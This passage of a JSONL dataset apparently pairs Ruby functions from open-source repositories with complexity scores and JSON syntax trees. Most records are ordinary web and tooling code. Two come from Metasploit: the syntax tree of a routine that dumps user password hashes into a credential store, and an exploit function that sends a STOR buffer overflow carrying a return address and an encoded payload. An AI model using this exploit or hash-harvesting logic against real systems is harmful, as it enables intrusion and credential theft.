end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"gather_hashes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Gathering users and password hashes from MCP\"]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"mcp_simple_query\",{\"type\":\"str\",\"children\":[\"userdb_entry\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to query users\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"userdb_entry_name\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"userdb_entry_passwd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Hashes\"]},\"identify_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"userdb_entry_passwd\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"send\",\"children\":[null,\"refname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"userdb_entry_passwd\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[null,\"session_db_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"userdb_entry_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]}]}]}]}]}","id":"693fa131-201d-4685-ab48-6f8e1a6b36c4"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1576,"raw_source":"def production?;  environment == :production  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"production?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment\"]},\"==\",{\"type\":\"sym\",\"children\":[\"production\"]}]}]}","id":"5be28d8c-fd84-40d8-bfb9-2a996f77d2d5"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/drupal.rb","start_line":340,"raw_source":"def import_attachments\n    puts \"\", \"importing attachments\"\n\n    current_count = 0\n    success_count = 0\n    fail_count = 0\n\n    total_count = mysql_query(<<-SQL).first[\"count\"]\n      SELECT count(field_post_attachment_fid) count\n        FROM field_data_field_post_attachment\n    SQL\n\n    batches(BATCH_SIZE) do |offset|\n      attachments = mysql_query(<<-SQL).to_a\n          SELECT *\n            FROM field_data_field_post_attachment fp\n       LEFT JOIN file_managed fm\n              ON fp.field_post_attachment_fid = fm.fid\n           LIMIT #{BATCH_SIZE}\n          OFFSET #{offset}\n      SQL\n\n      break if attachments.size < 1\n\n      attachments.each do |attachment|\n        current_count += 1\n        print_status current_count, total_count\n\n        identifier = attachment[\"entity_type\"] == \"comment\" ? \"cid\" : \"nid\"\n        next unless user_id = user_id_from_imported_user_id(attachment[\"uid\"])\n        unless post_id = post_id_from_imported_post_id(\"#{identifier}:#{attachment[\"entity_id\"]}\")\n          next\n        end\n        next unless user = User.find(user_id)\n        next unless post = Post.find(post_id)\n\n        begin\n          new_raw = post.raw.dup\n          upload, filename = find_upload(post, attachment)\n\n          unless upload\n            fail_count += 1\n            next\n          end\n\n          upload_html = html_for_upload(upload, filename)\n          new_raw = \"#{new_raw}\\n\\n#{upload_html}\" if new_raw.exclude?(upload_html)\n\n          if new_raw != post.raw\n            PostRevisor.new(post).revise!(\n              post.user,\n              { raw: new_raw },\n              bypass_bump: true,\n              edit_reason: \"Import attachment from Drupal\",\n            )\n          else\n            puts \"\", \"Skipped upload: already imported\"\n          end\n\n          success_count += 1\n        rescue => e\n          puts e\n        end\n      end\n    end\n  end","complexity_score":96.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import_attachments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing attachments\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"success_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"fail_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      SELECT count(field_post_attachment_fid) count\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM field_data_field_post_attachment\\n\"]}]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"count\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attachments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          SELECT *\\n\"]},{\"type\":\"str\",\"children\":[\"            FROM field_data_field_post_attachment fp\\n\"]},{\"type\":\"str\",\"children\":[\"       LEFT JOIN file_managed fm\\n\"]},{\"type\":\"str\",\"children\":[\"              ON fp.field_post_attachment_fid = fm.fid\\n\"]},{\"type\":\"str\",\"children\":[\"           LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          OFFSET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachments\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"current_count\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"identifier\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"entity_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"comment\"]}]},{\"type\":\"str\",\"children\":[\"cid\"]},{\"type\":\"str\",\"children\":[\"nid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"uid\"]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_id\",{\"type\":\"send\",\"children\":[null,\"post_id_from_imported_post_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"str\",\"children\":[\"entity_id\"]}]}]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"post_id\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_raw\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]},\"dup\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload\"]},{\"type\":\"lvasgn\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[null,\"find_upload\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fail_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload_html\",{\"type\":\"send\",\"children\":[null,\"html_for_upload\",{\"type\":\"lvar\",\"children\":[\"upload\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_raw\"]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"upload_html\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_raw\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_raw\"]}]},{\"type\":\"str\",\"children\":[\"\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_html\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_raw\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostRevisor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"post\"]}]},\"revise!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"new_raw\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bypass_bump\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"edit_reason\"]},{\"type\":\"str\",\"children\":[\"Import attachment from Drupal\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Skipped upload: already imported\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}]}]}]}]}]}]}","id":"3eb71d69-2a18-4188-b905-e7c6dc21217c"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/commandline.rb","start_line":166,"raw_source":"def run_report options\n        begin\n          if options[:previous_results_json]\n            compare_results options\n          else\n            regular_report options\n          end\n        rescue Brakeman::NoApplication => e\n          quit Brakeman::No_App_Found_Exit_Code, e.message\n        rescue Brakeman::MissingChecksError => e\n          quit Brakeman::Missing_Checks_Exit_Code, e.message\n        end\n      end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"previous_results_json\"]}]},{\"type\":\"send\",\"children\":[null,\"compare_results\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"regular_report\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"NoApplication\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"quit\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"No_App_Found_Exit_Code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"MissingChecksError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"quit\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Missing_Checks_Exit_Code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}]}","id":"4426f8ae-ddae-4425-ba6c-055e078eea88"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/ci_deleted_object_processing_slis.rb","start_line":26,"raw_source":"def record_error(error:)\n          Gitlab::Metrics::Sli::ErrorRate[:ci_deleted_objects_processing].increment(\n            labels: CATEGORY_LABEL,\n            error: error)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"record_error\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Sli\"]},\"ErrorRate\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ci_deleted_objects_processing\"]}]},\"increment\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"const\",\"children\":[null,\"CATEGORY_LABEL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}","id":"63addd37-7681-4e13-a9ec-aeadf94538c0"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/addresses_controller.rb","start_line":56,"raw_source":"def create_service\n        Spree::Dependencies.address_create_service.constantize\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"address_create_service\"]},\"constantize\"]}]}","id":"627b6e61-c604-46d8-9349-c225ca9c183f"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/response.rb","start_line":219,"raw_source":"def add_header(key, value)\n        raise ArgumentError unless key.is_a?(String)\n\n        if value.nil?\n          return get_header(key)\n        end\n\n        value = value.to_s\n\n        if header = get_header(key)\n          if header.is_a?(Array)\n            header << value\n          else\n            set_header(key, [header, value])\n          end\n        else\n          set_header(key, value)\n        end\n      end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_header\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[null,\"get_header\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"0d612ec2-ecfd-424b-b657-d582ccd4a16d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/merge_requests/oldest_per_commit_finder.rb","start_line":55,"raw_source":"def merge_requests_for_mapping(mapping, remaining)\n      merge_request_diff_commit_rows =\n        oldest_merge_request_id_per_commit_rows(remaining)\n\n      generated_ref_commit_rows = GeneratedRefCommit.oldest_merge_request_id_per_commit(@project.id, remaining)\n\n      id_rows = merge_request_diff_commit_rows\n      id_rows += generated_ref_commit_rows\n\n      mrs = MergeRequest\n        .preload_target_project\n        .id_in(id_rows.map { |r| r[:merge_request_id] })\n        .index_by(&:id)\n\n      merge_request_diff_commit_rows.each do |row|\n        if (mr = mrs[row[:merge_request_id]])\n          mapping[row[:sha]] = mr\n        end\n      end\n\n      generated_ref_commit_rows.each do |row|\n        if (mr = mrs[row[:merge_request_id]])\n          mapping[row[:commit_sha]] = mr\n        end\n      end\n    end","complexity_score":36.3,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_requests_for_mapping\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mapping\"]},{\"type\":\"arg\",\"children\":[\"remaining\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merge_request_diff_commit_rows\",{\"type\":\"send\",\"children\":[null,\"oldest_merge_request_id_per_commit_rows\",{\"type\":\"lvar\",\"children\":[\"remaining\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"generated_ref_commit_rows\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GeneratedRefCommit\"]},\"oldest_merge_request_id_per_commit\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"remaining\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id_rows\",{\"type\":\"lvar\",\"children\":[\"merge_request_diff_commit_rows\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id_rows\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"generated_ref_commit_rows\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mrs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"preload_target_project\"]},\"id_in\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_rows\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_request_id\"]}]}]}]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff_commit_rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mrs\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_request_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sha\"]}]},{\"type\":\"lvar\",\"children\":[\"mr\"]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generated_ref_commit_rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mrs\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_request_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"commit_sha\"]}]},{\"type\":\"lvar\",\"children\":[\"mr\"]}]},null]}]}]}]}","id":"95c17d7e-d22f-4c6e-a423-bdcacf81a846"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/output_wrapper.rb","start_line":13,"raw_source":"def respond_to?(name, priv=false)\n        output.respond_to?(name, priv)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"priv\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"priv\"]}]}]}","id":"93fa8326-60fe-4cb9-9698-bae44dd581e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/service_ping_helpers.rb","start_line":25,"raw_source":"def get_current_service_ping_payload\n      override_timeframe_from_dev_console!\n\n      Gitlab::Usage::ServicePingReport.for(output: :all_metrics_values)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_current_service_ping_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"override_timeframe_from_dev_console!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Usage\"]},\"ServicePingReport\"]},\"for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"sym\",\"children\":[\"all_metrics_values\"]}]}]}]}]}]}","id":"a1b86eb1-46cf-4706-9cde-7f4952024960"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/authentication_mixin.rb","start_line":491,"raw_source":"def authentication_best_fit(type = nil)\n    # Look for the supplied type and if that is not found return the default credentials\n    authentication_type(type) || authentication_type(default_authentication_type)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"authentication_best_fit\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication_type\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"authentication_type\",{\"type\":\"send\",\"children\":[null,\"default_authentication_type\"]}]}]}]}","id":"f5963476-7e1e-46d6-a084-fd0f4576403c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/novell/nmap_stor.rb","start_line":54,"raw_source":"def exploit\n    connect\n    sock.get_once\n\n    auth = \"USER \" + rand_text_english(10)\n    sock.put(auth + \"\\r\\n\")\n\n    res = sock.get_once\n\n    sploit = \"STOR \" + rand_text_english(253) + [ target.ret ].pack('V')\n    sploit << \" \" + rand_text_english(20) + \"\\r\\n\" + payload.encoded\n\n    if (res =~ /1000/)\n      print_status(\"Trying target #{target.name}...\")\n      sock.put(sploit)\n    else\n      print_status(\"Not in Trusted Hosts.\")\n    end\n\n    handler\n    disconnect\n  end","complexity_score":43.95,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"lvasgn\",\"children\":[\"auth\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"USER 